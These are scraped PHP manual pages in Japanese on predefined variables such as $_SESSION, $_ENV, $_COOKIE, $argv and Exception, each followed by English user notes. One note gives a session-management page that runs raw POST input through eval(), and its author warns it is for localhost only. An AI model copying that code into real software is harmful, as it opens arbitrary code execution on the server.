Leave the source blank and the handshake will not break.
Tugrul 09-Mar-2015 05:04
Creating New Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
?>
Getting Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
/*session created*/
echo $_SESSION["newsession"];
/*session was getting*/
?>
Updating Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
/*it is my new session*/
$_SESSION["newsession"]=$updatedvalue;
/*session updated*/
?>
Deleting Session
==========================
<?php
session_start();
/*session is started if you don't write this line can't use $_Session  global variable*/
$_SESSION["newsession"]=$value;
unset($_SESSION["newsession"]);
/*session deleted. if you try using this you've got an error*/
?>

Reference: http://gencbilgin.net/php-session-kullanimi.html
Fred 07-Sep-2013 03:09
Regarding array keys, from http://php.net/manual/en/language.types.array.php, "Strings containing valid integers will be cast to the integer type".

The manual on $_SESSION says "An associative array". So an associative array is expected literally...? It does no one any good if this bit of important info about accessing and storing session data remains buried in manual comments.

Session variables with a single number will not work, however "1a" will work, as will "a1" and even a just single letter, for example "a" will also work.

(Invalid)
1st page

<?php
session_start();
$_SESSION["1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["1"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a1"];
?>

---------------------------------------------------------------

Example from PHP.net manual on Session variables

<?php
$_SESSION[1][1] = 'cake'; // fails

$_SESSION['v1'][2] = 'cake'; // works
?>

Source: http://php.net/manual/en/language.types.array.php
opajaap at opajaap dot nl 31-Aug-2013 11:51
Be carefull with $_SESSION array elements when you have the same name as a normal global.

The following example leads to unpredictable behaviour of the $wppa array elements, some are updated by normal code, some not, it is totally unpredictable what happens.

<?php
global $wppa;
$wppa = array( 'elm1' => 'value1', 'elm2' => 'value2', ....etc...);

if ( ! session_id() ) @ session_start();
if ( ! isset($_SESSION['wppa']) $_SESSION['wppa'] = array();

if ( ! isset($_SESSION['wppa']['album']) ) $_SESSION['wppa']['album'] = array();
$_SESSION['wppa']['album'][1234] = 1;

$wppa['elm1'] = 'newvalue1';

print_r($_SESSION);
?>
This will most likely display Array ( [wppa] => Array ( [album] => Array ( [1234] => 1 ) [elm1] => 'newvalue1' [elm2] => 'value2' ... etc ...
But setting $wppa['elm1'] to another value or referring to it gives unpredictable results, maybe 'value1', or 'newvalue1'.

The most strange behaviour is that not all elements of $wppa[xx] show up as $_SESSION['wppa'][xx].
Miller 12-Aug-2013 08:48
I wrote a little page for controlling/manipulating the session. Obviously, never use this on a production server, but I use it on my localhost to assist me in checking and changing session values on the fly.

Again, it makes use of eval() and exposes the session, so never use this on a web server.

<?php
error_reporting(E_ALL);
session_start();
if (isset($_POST['session'])) {
    $session = eval("return {$_POST['session']};");
    if (is_array($session)) {
        $_SESSION = $session;
        header("Location: {$_SERVER['PHP_SELF']}?saved");
    }
    else {
        header("Location: {$_SERVER['PHP_SELF']}?error");
    }
}

$session = htmlentities(var_export($_SESSION, true));
?>
<!DOCTYPE html>
<html lang="en-US">
    <head>
        <meta charset="UTF-8">
        <title>Session Variable Management</title>
        <style>
            textarea { font: 12px Consolas, Monaco, monospace; padding: 2px; border: 1px solid #444444; width: 99%; }
            .saved, .error { border: 1px solid #509151; background: #DDF0DD; padding: 2px; }
            .error { border-color: #915050; background: #F0DDDD; }
        </style>
    </head>
    <body>
        <h1>Session Variable Management</h1>
<?php if (isset($_GET['saved'])) { ?>
        <p class="saved">The session was saved successfully.</p>
<?php } else if (isset($_GET['error'])) { ?>
        <p class="error">The session variable did not parse correctly.</p>
<?php } ?>
        <form method="post">
            <textarea name="session" rows="<?php echo count(preg_split("/\n|\r/", $session)); ?>"><?php echo $session; ?></textarea>
            <input type="submit" value="Update Session">
        </form>
    </body>
</html>
pike-php at kw dot nl 07-Feb-2011 06:00
When accidently assigning a unset variable to $_SESSION, like

   $_SESSION['foo'] = $bar

while $bar was not defined, I got the following error message:

"Warning: Unknown(): Your script possibly relies on a session side-effect which existed until PHP 4.2.3. Please be advised that the session extension does not consider global variables as a source of data, unless register_globals is enabled. "

The errormessage was quite unrelated and got me off-track. The real error was, $bar was not defined.
Dave 17-Nov-2009 02:05
If you deploy php code and cannot control whether register_globals is off, place this snippet in your code to prevent session injections:

<?php
if (isset($_REQUEST['_SESSION'])) die("Get lost Muppet!");
?>
charlese at cvs dot com dot au 04-Jul-2009 06:47
I was having troubles with session variables working in some environments and being seriously flaky in others. I was using $_SESSION as an array. It works properly when I used $_SESSION as pointers to arrays. As an example the following code works in some environments and not others.

<?php
//Trouble if I treate $form_convert and $_SESSION['form_convert'] as unrelated items
$form_convert=array();
if (isset($_SESSION['form_convert'])){
        $form_convert=$_SESSION['form_convert'];
    }
}
?>
The following works well.
<?php
if (isset($_SESSION['form_convert'])){
    $form_convert = $_SESSION['form_convert'];
}else{
    $form_convert = array();
    $_SESSION['form_convert']=$form_convert;
}
?>
bohwaz 31-Aug-2008 02:43
Please note that if you have register_globals to On, global variables associated to $_SESSION variables are references, so this may lead to some weird situations.

<?php

session_start();

$_SESSION['test'] = 42;
$test = 43;
echo $_SESSION['test'];

?>

Load the page, OK it displays 42, reload the page... it displays 43.

The solution is to do this after each time you do a session_start() :

<?php

if (ini_get('register_globals'))
{
    foreach ($_SESSION as $key=>$value)
    {
        if (isset($GLOBALS[$key]))
            unset($GLOBALS[$key]);
    }
}

?>
Steve Clay 17-Aug-2008 06:28
Unlike a real PHP array, $_SESSION keys at the root level must be valid variable names.

<?php
$_SESSION[1][1] = 'cake'; // fails

$_SESSION['v1'][1] = 'cake'; // works
?>

I imagine this is an internal limitation having to do with the legacy function session_register(), where the registered global var must similarly have a valid name.
jherry at netcourrier dot com 01-Aug-2008 04:16
You may have trouble if you use '|' in the key:

$_SESSION["foo|bar"] = "fuzzy";

This does not work for me. I think it's because the serialisation of session object is using this char so the server reset your session when it cannot read it.

To make it work I replaced '|' by '_'.


環境変数

  • ≪ $_SESSION
  • $_COOKIE ≫
  • PHP Manual
  • 定義済の変数
  • 環境変数

$_ENV

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_ENV — 環境変数

説明

環境変数として現在のスクリプトに渡された変数の連想配列です。

これらの変数は PHP パーサが実行されている環境から PHP のグローバル名前空間に取り込まれます。 その多くは、PHP が実行されているシェルに由来するものであり、 システムが違えばシェルも違ってくるため、確定的なリストを 得ることは不可能です。定義されている環境変数のリストについては 使用しているシェルのドキュメントをご覧ください。

CGI 変数を含むその他の環境変数も、 PHP がサーバーモジュールとして実行されているか CGI プロセッサとして 実行されているかに関わらずここに含まれます。

例

例1 $_ENV の例

<?php
echo 'My username is ' .$_ENV["USER"] . '!';
?>

"bjori" がこのスクリプトを実行したとします。

上の例の出力は、 たとえば以下のようになります。

My username is bjori!

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

参考

  • getenv() - 環境変数の値を取得する
  • filter 拡張モジュール

User Contributed Notes

Anonymous 28-Feb-2021 03:04
dfgdfgdfgdf fdfgdfgdgd fdfgdfg dfdfgdfgdfgdfdf gdfgdfgdfg dfdfgdfgdfg dfgdfgdfdfg dfgdfgdfgdfdfgdf.
kobenews at cox dot net 17-Apr-2018 09:08
If running php-fpm with the default production variables_order = GPCS, $_ENV will always be an empty array. Instead of reading the superglobal $_ENV use the built-in function getenv() or read from $_SERVER['ENV-KEY-HERE'].
Guy 06-Mar-2018 10:06
@Tit Petric - I believe you meant: clear_env=no

not clean_env

Set the above in your PHP-FPM config to prevent clearing ENV vars
Tit Petric 28-Apr-2017 09:39
If you're using php-fpm you might want to set `clean_env = no`. This setting cleans the environment variables by default, meaning that PHP would be started with a clean environment.
aasasdasdf at yandex dot ru 08-Apr-2014 02:25
Please note that writing to $_ENV does not actually set an environment variable, i.e. the variable will not propagate to any child processes you launch (except forked script processes, in which case it's just a variable in the script's memory). To set real environment variables, you must use putenv().

Basically, setting a variable in $_ENV does not have any meaning besides setting or overriding a script-wide global variable. Thus, one should never modify $_ENV except for testing purposes (and then be careful to use putenv() too, if appropriate).

PHP  will not trigger any kind of error or notice when writing to $_ENV.
david at davidfavor dot com 07-Feb-2012 02:07
Comments for this page seem to indicate getenv() returns environment variables in all cases.

For getenv() to work, php.ini variables_order must contain 'E'.
anonymous 09-Sep-2010 10:36
If $_ENV is empty because variables_order does not include it, it will be filled with values fetched by getenv().

For example, when calling getenv("REMOTE_ADDR"), $_ENV['REMOTE_ADDR'] will be defined as well (if such an environment variable exists).
gabe-php at mudbugmedia dot com 26-May-2010 09:11
If your $_ENV array is mysteriously empty, but you still see the variables when calling getenv() or in your phpinfo(), check your http://us.php.net/manual/en/ini.core.php#ini.variables-order ini setting to ensure it includes "E" in the string.
php at isnoop dot net 01-Apr-2010 09:33
If you wish to define an environment variable in your Apache vhost file, use the directive SetEnv.

SetEnv varname "variable value"

It is important to note that this new variable will appear in $_SERVER, not $_ENV.
ewilde aht bsmdevelopment dawt com 20-Mar-2009 05:48
When running a PHP program under the command line, the $_SERVER["SERVER_NAME"] variable does not contain the hostname. However, the following works for me under Unix/Linux and Windows:

<?php
if (isset($_ENV["HOSTNAME"]))
    $MachineName = $_ENV["HOSTNAME"];
else if  (isset($_ENV["COMPUTERNAME"]))
    $MachineName = $_ENV["COMPUTERNAME"];
else $MachineName = "";
?>


HTTP クッキー

  • ≪ $_ENV
  • $php_errormsg ≫
  • PHP Manual
  • 定義済の変数
  • HTTP クッキー

$_COOKIE

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

$_COOKIE — HTTP クッキー

説明

現在のスクリプトに HTTP クッキーから渡された変数の連想配列です。

例

例1 $_COOKIE の例

<?php
echo 'Hello ' . htmlspecialchars($_COOKIE["name"]) . '!';
?>

"name" というクッキーが事前に設定されているものとします。

上の例の出力は、 たとえば以下のようになります。

Hello Hannes!

注意

注意:

これは 'スーパーグローバル' あるいは自動グローバル変数と呼ばれるものです。 スクリプト全体を通してすべてのスコープで使用することができます。 関数やメソッドの内部で使用する場合にも global $variable; とする必要はありません。

参考

  • setcookie() - クッキーを送信する
  • 外部からくる変数の処理
  • filter 拡張モジュール

User Contributed Notes

alexander-schranz at NO_SPAM dot hotmail dot com 12-Feb-2018 06:55
Cookies with the same name the first cookie is used. Clients will send cookies with longer path before cookies with shorter path. This comes from RFC 6265 which says "Cookies with longer paths are listed before cookies with shorter paths.". So you get the best matching cookie for your current request.
kiril (at) atern (dot) us 24-May-2016 12:08
To clarify the previously posted note:

Dots (.) and spaces ( ) in cookie names are being replaced with underscores (_).
k dot andris at gmail dot com 29-May-2015 08:49
beware, dots (.) in cookie names are replaces by underscores (_)


直近のエラーメッセージ

  • ≪ $_COOKIE
  • $http_response_header ≫
  • PHP Manual
  • 定義済の変数
  • 直近のエラーメッセージ

$php_errormsg

(PHP 4, PHP 5, PHP 7)

$php_errormsg — 直近のエラーメッセージ

警告

この機能は PHP 7.2.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

代わりに error_get_last() を使用してください。

説明

$php_errormsg は、PHP によって発せられた 最後のエラーメッセージのテキストを格納する変数です。 エラーが発生したスコープ内、かつ track_errors 設定オプションが オン (デフォルトはオフ) にセットされている場合にのみ有効です。

警告

ユーザー定義のエラーハンドラ (set_error_handler()) が設定されている場合は、$php_errormsg はエラーハンドラが false を返した場合にのみ設定されます。

変更履歴

バージョン | 説明
8.0.0 | $php_errormsg を利用できるようにしていた track_errors ディレクティブ が削除されました。
7.2.0 | $php_errormsg を利用できるようにしていた track_errors ディレクティブ は非推奨になりました。

例

例1 $php_errormsg の例

<?php
@strpos();
echo $php_errormsg;
?>

上の例の出力は、 たとえば以下のようになります。

Wrong parameter count for strpos()

参考

  • error_get_last() - 最後に発生したエラーを取得する

User Contributed Notes

myuezhu at gmail dot com 04-Aug-2017 01:29
$php_errormsg does not contain the error message generated inside a function. See the example below:
<?php
@strpos();
function checkErrormsg()
{
    global $php_errormsg;
    echo "First Error is: $php_errormsg <br />";
    @ini_set();
    echo "Error is: $php_errormsg";
}
checkErrormsg();
?>
This will output:
First Error is: strpos() expects at least 2 parameters, 0 given
Error is: strpos() expects at least 2 parameters, 0 given
quickshiftin at gmail dot com 07-Jan-2013 09:19
While $php_errormsg is a global, it is not a superglobal.

You'll have to qualify it with a global keyword inside a function.

<?php
function checkErrormsg()
{
    global $php_errormsg;
    @strpos();
    return $php_errormsg;
}
?>
josh at karmabunny dot com dot au 04-Jul-2011 12:41
The track_errors parameter is PHP_INI_ALL, so you can use code like this:

<?php
ini_set('track_errors', 1);

$result = @do_risky_thing();
if (! $result) {
    echo '<p>Error' . htmlspecialchars($php_errormsg) . '</p>';
}

ini_set('track_errors', 0);
?>
ryan kulla 19-Jan-2009 11:32
Note: This variable doesn't seem to get populated if you're running Xdebug.


HTTP レスポンスヘッダ

  • ≪ $php_errormsg
  • $argc ≫
  • PHP Manual
  • 定義済の変数
  • HTTP レスポンスヘッダ

$http_response_header

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

$http_response_header — HTTP レスポンスヘッダ

説明

$http_response_header 配列は get_headers() 関数と似ています。 HTTP ラッパー を使用する際に、$http_response_header に HTTP レスポンスヘッダが格納されます。 $http_response_header は ローカルスコープ で作成されます。

例

例1 $http_response_header の例

<?php
function get_contents() {
  file_get_contents("http://example.com");
  var_dump($http_response_header);
}
get_contents();
var_dump($http_response_header);
?>

上の例の出力は、 たとえば以下のようになります。

array(9) {
  [0]=>
  string(15) "HTTP/1.1 200 OK"
  [1]=>
  string(35) "Date: Sat, 12 Apr 2008 17:30:38 GMT"
  [2]=>
  string(29) "Server: Apache/2.2.3 (CentOS)"
  [3]=>
  string(44) "Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT"
  [4]=>
  string(27) "ETag: "280100-1b6-80bfd280""
  [5]=>
  string(20) "Accept-Ranges: bytes"
  [6]=>
  string(19) "Content-Length: 438"
  [7]=>
  string(17) "Connection: close"
  [8]=>
  string(38) "Content-Type: text/html; CHARSET=shift-jis"
}
NULL

User Contributed Notes

jaraco at jaraco dot com 06-Feb-2018 11:20
If an HTTP Redirect is encountered, the headers will contain the response line and headers for all requests encountered. Consider this example:

<?php
file_get_contents("https://httpbin.org/redirect-to?url=https%3A%2F%2Fhttpbin.org%2F");
var_dump($http_response_header);
?>

Produces the following:

array(23) {
  [0]=>
  string(18) "HTTP/1.1 302 FOUND"
  [1]=>
  string(17) "Connection: close"
  [2]=>
  string(22) "Server: meinheld/0.6.1"
  [3]=>
  string(35) "Date: Tue, 06 Feb 2018 11:21:21 GMT"
  [4]=>
  string(38) "Content-Type: text/html; CHARSET=shift-jis"
  [5]=>
  string(17) "Content-Length: 0"
  [6]=>
  string(30) "Location: https://httpbin.org/"
  [7]=>
  string(30) "Access-Control-Allow-Origin: *"
  [8]=>
  string(38) "Access-Control-Allow-Credentials: true"
  [9]=>
  string(19) "X-Powered-By: Flask"
  [10]=>
  string(34) "X-Processed-Time: 0.00107908248901"
  [11]=>
  string(14) "Via: 1.1 vegur"
  [12]=>
  string(15) "HTTP/1.1 200 OK"
  [13]=>
  string(17) "Connection: close"
  [14]=>
  string(22) "Server: meinheld/0.6.1"
  [15]=>
  string(35) "Date: Tue, 06 Feb 2018 11:21:21 GMT"
  [16]=>
  string(38) "Content-Type: text/html; CHARSET=shift-jis"
  [17]=>
  string(21) "Content-Length: 13011"
  [18]=>
  string(30) "Access-Control-Allow-Origin: *"
  [19]=>
  string(38) "Access-Control-Allow-Credentials: true"
  [20]=>
  string(19) "X-Powered-By: Flask"
  [21]=>
  string(34) "X-Processed-Time: 0.00848388671875"
  [22]=>
  string(14) "Via: 1.1 vegur"
}
doekia at gmail dot com 20-Jun-2017 10:54
Bear in mind this special variable is somehow protected and not populated in some situation when the peer server close the connection early on (ssl reset)
=> Undefined variable: http_response_header

A code like this one:
$response = @file_get_contents($url);
empty($http_response_header) && $http_response_header = array('HTTP/1.1 400 Bad request');

Will return a cryptic error message:
Fatal error: Call to undefined function  array() on line 2

--
Should you want to cope with this situation:
$hdrs = array('HTTP/1.1 400 Bad request');
!empty($htp_response_header) && $hdrs = $http_response_headers;

Now use $hdrs in place of $http_response_header
MangaII 01-May-2015 01:01
parser function to get formatted headers (with response code)

<?php

function parseHeaders( $headers )
{
    $head = array();
    foreach( $headers as $k=>$v )
    {
        $t = explode( ':', $v, 2 );
        if( isset( $t[1] ) )
            $head[ trim($t[0]) ] = trim( $t[1] );
        else
        {
            $head[] = $v;
            if( preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out ) )
                $head['reponse_code'] = intval($out[1]);
        }
    }
    return $head;
}

print_r(parseHeaders($http_response_header));

/*
Array
(
    [0] => HTTP/1.1 200 OK
    [reponse_code] => 200
    [Date] => Fri, 01 May 2015 12:56:09 GMT
    [Server] => Apache
    [X-Powered-By] => PHP/5.3.3-7+squeeze18
    [Set-Cookie] => PHPSESSID=ng25jekmlipl1smfscq7copdl3; path=/
    [Expires] => Thu, 19 Nov 1981 08:52:00 GMT
    [Cache-Control] => no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    [Pragma] => no-cache
    [Vary] => Accept-Encoding
    [Content-Length] => 872
    [Connection] => close
    [Content-Type] => text/html
)
*/

?>
nicolas at toniazzi dot net 01-Oct-2013 01:42
Note that the HTTP wrapper has a hard limit of 1024 characters for the header lines.
Any HTTP header received that is longer than this will be ignored and won't appear in $http_response_header.

The cURL extension doesn't have this limit.

http_fopen_wrapper.c: #define HTTP_HEADER_BLOCK_SIZE 1024


スクリプトに渡された引数の数

  • ≪ $http_response_header
  • $argv ≫
  • PHP Manual
  • 定義済の変数
  • スクリプトに渡された引数の数

$argc

(PHP 4, PHP 5, PHP 7, PHP 8)

$argc — スクリプトに渡された引数の数

説明

コマンドラインから実行したときに、 現在のスクリプトに渡された引数の数が含まれます。

注意: スクリプトのファイル名は、常にスクリプトへの引数として渡されます。 したがって、$argc の最小値は 1 です。

注意: この変数は、register_argc_argv が無効になっている場合には使えません。

例

例1 $argc の例

<?php
var_dump($argc);
?>

このサンプルを php script.php arg1 arg2 arg3 と実行します。

上の例の出力は、 たとえば以下のようになります。

int(4)

注意

注意:

これは、$_SERVER['argc'] としても使用可能です。

参考

  • getopt() - コマンドライン引数のリストからオプションを取得する
  • $argv

User Contributed Notes

anonymous 11-Oct-2018 04:43
int main(int argc, char *argv[])
{
  fprintf(stdout,"argumen count : %d\n",argc);
  fprintf(stdout,"argumen vector : %s\n",argv);
  return 0;
}
elm at r3m0ve dot gmx dot ch 03-Apr-2014 04:57
To decide whether my script is run from CLI I simply create a PHP script that handles only CLI invocations.

File cron.php:
<?php

// Set environment variables your application depends on
$_SERVER[ 'HTTP_HOST' ] = 'domain.tld';
// $_SERVER[ 'REQUEST_URI' ] = '/some/URI/if/needed';

// Use the environment to read out required values
$task = $_SERVER[ 'argv' ][ 1 ];

// Instanciate the dispatcher or whatever you use
$dispatcher = new Dispatcher();
$dispatcher->handle( $task );

?>

This way my application doesn't have to know about CLI at all.
Tejesember 04-May-2011 09:50
To find out are you in CLI or not, this is much better in my opinion:
<?php
if (PHP_SAPI != "cli") {
    exit;
}
?>
karsten at typo3 dot org 18-Feb-2009 12:47
Note: when using CLI $argc (as well as $argv) are always available, regardless of register_argc_argv, as explained at http://docs.php.net/manual/en/features.commandline.php


スクリプトに渡された引数の配列

  • ≪ $argc
  • 定義済みの例外 ≫
  • PHP Manual
  • 定義済の変数
  • スクリプトに渡された引数の配列

$argv

(PHP 4, PHP 5, PHP 7, PHP 8)

$argv — スクリプトに渡された引数の配列

説明

コマンドラインから実行したときに、 現在のスクリプトに渡されたすべての引数の配列が含まれます。

注意: 最初の引数 $argv[0] は常に、スクリプトの実行に使う名前となります。

注意: この変数は、register_argc_argv が無効になっている場合には使えません。

例

例1 $argv の例

<?php
var_dump($argv);
?>

このサンプルを php script.php arg1 arg2 arg3 と実行します。

上の例の出力は、 たとえば以下のようになります。

array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

注意

注意:

これは、$_SERVER['argv'] としても使用可能です。

参考

  • getopt() - コマンドライン引数のリストからオプションを取得する
  • $argc

User Contributed Notes

php at simoneast dot net 24-Nov-2015 07:24
Sometimes $argv can be null, such as when "register-argc-argv" is set to false.  In some cases I've found the variable is populated correctly when running "php-cli" instead of just "php" from the command line (or cron).
hamboy75 at example dot com 05-Nov-2013 03:20
To use $_GET so you dont need to support both if it could be used from command line and from web browser.

foreach ($argv as $arg) {
    $e=explode("=",$arg);
    if(count($e)==2)
        $_GET[$e[0]]=$e[1];
    else
        $_GET[$e[0]]=0;
}
tufan dot oezduman at googlemail dot com 22-Aug-2011 09:06
Please note that, $argv and $argc need to be declared global, while trying to access within a class method.

<?php
class A
{
    public static function b()
    {
        var_dump($argv);
        var_dump(isset($argv));
    }
}

A::b();
?>

will output NULL bool(false)  with a notice of "Undefined variable ..."

whereas global $argv fixes that.
Steve Schmitt 14-Sep-2009 04:57
If you come from a shell scripting background, you might expect to find this topic under the heading "positional parameters".


定義済みの例外

目次

  • Exception
  • ErrorException
  • Error
  • ArgumentCountError
  • ArithmeticError
  • AssertionError
  • DivisionByZeroError
  • CompileError
  • ParseError
  • TypeError
  • ValueError
  • UnhandledMatchError

SPL の例外 も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


Exception

(PHP 5, PHP 7, PHP 8)

はじめに

Exception は、 すべてのユーザー例外の基底クラスです。

クラス概要

Exception implements Throwable {
/* プロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Exception
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}

プロパティ

message

例外メッセージ

code

例外コード

file

例外が作られたファイル名

line

例外が作られた行

目次

  • Exception::__construct — 例外を作成する
  • Exception::getMessage — 例外メッセージを取得する
  • Exception::getPrevious — 前の例外を返す
  • Exception::getCode — 例外コードを取得する
  • Exception::getFile — 例外が作られたファイルを取得する
  • Exception::getLine — 例外が作られた行を取得する
  • Exception::getTrace — スタックトレースを取得する
  • Exception::getTraceAsString — スタックトレースを文字列で取得する
  • Exception::__toString — 例外の文字列表現
  • Exception::__clone — 例外をコピーする

User Contributed Notes

shaman_master at list dot ru 20-Feb-2020 02:11
Note: this documentation not full, ReflectionObject::export($exception):
<?php
Object of class [  class Exception implements Throwable ] {
  - Properties [7] {
    Property [  protected $message ]
    Property [  private $string ]
    Property [  protected $code ]
    Property [  protected $file ]
    Property [  protected $line ]
    Property [  private $trace ]
    Property [  private $previous ]
  }
  - Methods [11] {
    Method [  final private method __clone ] {
    }

    Method [  public method __construct ] {

      - Parameters [3] {
        Parameter #0 [  $message ]
        Parameter #1 [  $code ]
        Parameter #2 [  $previous ]
      }
    }

    Method [  public method __wakeup ] {
    }

    Method [  final public method getMessage ] {
    }

    Method [  final public method getCode ] {
    }

    Method [  final public method getFile ] {
    }

    Method [  final public method getLine ] {
    }

    Method [  final public method getTrace ] {
    }

    Method [  final public method getPrevious ] {
    }

    Method [  final public method getTraceAsString ] {
    }

    Method [  public method __toString ] {
    }
  }
}
?>

Missed:

    Property [  private $string ]
    Property [  private $trace ]
    Property [  private $previous ]

    Method [  public method __wakeup ] {
    }
whysteepy at gmail dot com 28-Jan-2018 07:55
Lists of Throwable and Exception tree as of 7.2.0

    Error
      ArithmeticError
        DivisionByZeroError
      AssertionError
      ParseError
      TypeError
        ArgumentCountError
    Exception
      ClosedGeneratorException
      DOMException
      ErrorException
      IntlException
      LogicException
        BadFunctionCallException
          BadMethodCallException
        DomainException
        InvalidArgumentException
        LengthException
        OutOfRangeException
      PharException
      ReflectionException
      RuntimeException
        OutOfBoundsException
        OverflowException
        PDOException
        RangeException
        UnderflowException
        UnexpectedValueException
      SodiumException

Find the script and output in the following links:
https://gist.github.com/mlocati/249f07b074a0de339d4d1ca980848e6a
https://3v4l.org/sDMsv

posted by someone here http://php.net/manual/en/class.throwable.php
cHao 27-Sep-2014 06:34
Note that an exception's properties are populated when the exception is *created*, not when it is thrown.  Throwing the exception does not seem to modify them.

Among other things, this means:

* The exception will blame the line that created it, not the line that threw it.

* Unlike in some other languages, rethrowing an exception doesn't muck up the trace.

* A thrown exception and an unthrown one look basically identical.  On my machine, the only visible difference is that a thrown exception has an `xdebug_message` property while an unthrown one doesn't.  Of course, if you don't have xdebug installed, you won't even get that.


例外を作成する

  • ≪ Exception
  • Exception::getMessage ≫
  • PHP Manual
  • Exception
  • 例外を作成する

Exception::__construct

(PHP 5, PHP 7, PHP 8)

Exception::__construct — 例外を作成する

説明

public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )

例外を作成します。

パラメータ

message

スローする例外メッセージ。

code

例外コード。

previous

以前に使われた例外。例外の連結に使用します。

注意: Exception クラスのコンストラクタをサブクラス側から呼ぶと、 $code と $message が設定済みの場合はデフォルトの引数を無視します。

注意

注意:

message は、バイナリセーフ ではありません。

User Contributed Notes

ryan dot jentzsch at gmail dot com 08-Nov-2016 11:45
Note that the code parameter is not the same as exit($code).
Also, the code argument in PHP 7 (possibly earlier versions) is cast to an int including negative values. The code below is completely valid:

<?php
try
{
    throw new \Exception('Testing', -12.12);
}
catch (\Exception $exception)
{
    $code = $exception->getCode();
    if ($code < 0)
    {
        exit(abs($code));
    }
}
talksonweb at gmail dot com 03-Jul-2013 09:43
For those that haven't done exception chaining. Here's an example.

This allows you to add the previous exception to the next one and give yourself detailed information in the end as to what happened. This is useful in larger applications.

<?php
function theDatabaseObj(){
     if( database_object ){
         return database_object;
     }
     else{
         throw new DatabaseException("Could not connect to the database");
     }
}

function updateProfile( $userInfo ){
     try{
         $db = theDatabaseObj();
         $db->updateProfile();
     }
     catch( DatabaseException $e ){
         $message = "The user :" . $userInfo->username . " could not update his profile information";
         /* notice the '$e'. I'm adding the previous exception  to this exception. I can later get a detailed view of
          where the problem began. Lastly, the number '12' is  an exception code. I can use this for categorizing my
         exceptions or don't use it at all. */
         throw new MemberSettingsException($message,12,$e);
     }
}

try{
     updateProfile( $userInfo );
}
catch( MemberSettingsException $e ){
     // this will give all information we have collected above.
     echo $e->getTraceAsString();
}
?>
mattsch at gmail dot com 31-Dec-2012 03:08
Be aware that while $previous is quite useful in providing exception chaining and better traceability, none of the internal php exceptions (e.g. PDOException, ReflectionException, etc) are called internally within php with $previous in mind.

So if your code throws an exception, recovers from it, then catches one of these internal php exceptions, recovers from it and throws another exception, you will not know the first exception that was thrown when calling getPrevious.

See: https://bugs.php.net/bug.php?id=63873


例外メッセージを取得する

  • ≪ Exception::__construct
  • Exception::getPrevious ≫
  • PHP Manual
  • Exception
  • 例外メッセージを取得する

Exception::getMessage

(PHP 5, PHP 7, PHP 8)

Exception::getMessage — 例外メッセージを取得する

説明

final public Exception::getMessage ( ) : string

例外メッセージを返します。

パラメータ

この関数にはパラメータはありません。

返り値

例外メッセージ文字列を返します。

例

例1 Exception::getMessage() の例

<?php
try {
    throw new Exception("Some error message");
} catch(Exception $e) {
    echo $e->getMessage();
}
?>

上の例の出力は、 たとえば以下のようになります。

Some error message

参考

  • Throwable::getMessage() - メッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


前の例外を返す

  • ≪ Exception::getMessage
  • Exception::getCode ≫
  • PHP Manual
  • Exception
  • 前の例外を返す

Exception::getPrevious

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Exception::getPrevious — 前の例外を返す

説明

final public Exception::getPrevious ( ) : Exception

前に発生した例外 (Exception::__construct() の 3 番目の引数) を返します。

パラメータ

この関数にはパラメータはありません。

返り値

前に発生した Throwable、あるいはそれが存在しない場合は null を返します。

例

例1 Exception::getPrevious() の例

例外トレースをループし、表示します。

<?php
class MyCustomException extends Exception {}

function doStuff() {
    try {
        throw new InvalidArgumentException("You are doing it wrong!", 112);
    } catch(Exception $e) {
        throw new MyCustomException("Something happened", 911, $e);
    }
}

try {
    doStuff();
} catch(Exception $e) {
    do {
        printf("%s:%d %s (%d) [%s]\n", $e->getFile(), $e->getLine(), $e->getMessage(), $e->getCode(), get_class($e));
    } while($e = $e->getPrevious());
}
?>

上の例の出力は、 たとえば以下のようになります。

/home/bjori/ex.php:8 Something happened (911) [MyCustomException]
/home/bjori/ex.php:6 You are doing it wrong! (112) [InvalidArgumentException]

参考

  • Throwable::getPrevious() - ひとつ前の Throwable を返す

User Contributed Notes

harry at upmind dot com 10-Nov-2018 03:03
/**
     * Gets sequential array of all previously-chained errors
     *
     * @param Throwable $error
     *
     * @return Throwable[]
     */
    function getChain(Throwable $error) : array
    {
        $chain = [];

        do {
            $chain[] = $error;
        } while ($error = $error->getPrevious());

        return $chain;
    }
Anonymous 03-Oct-2011 01:11
May be I am late (5.2 is not supported). But if you want use the functionality of "previous Exception" in PHP < 5.3 or write compatible code, you can use next way as below.

<?php
abstract class App_Exception_PreviousNativeAbstract extends Exception {
    public static $printPrevious = true;

    public function __toString() {
        $result   = array();
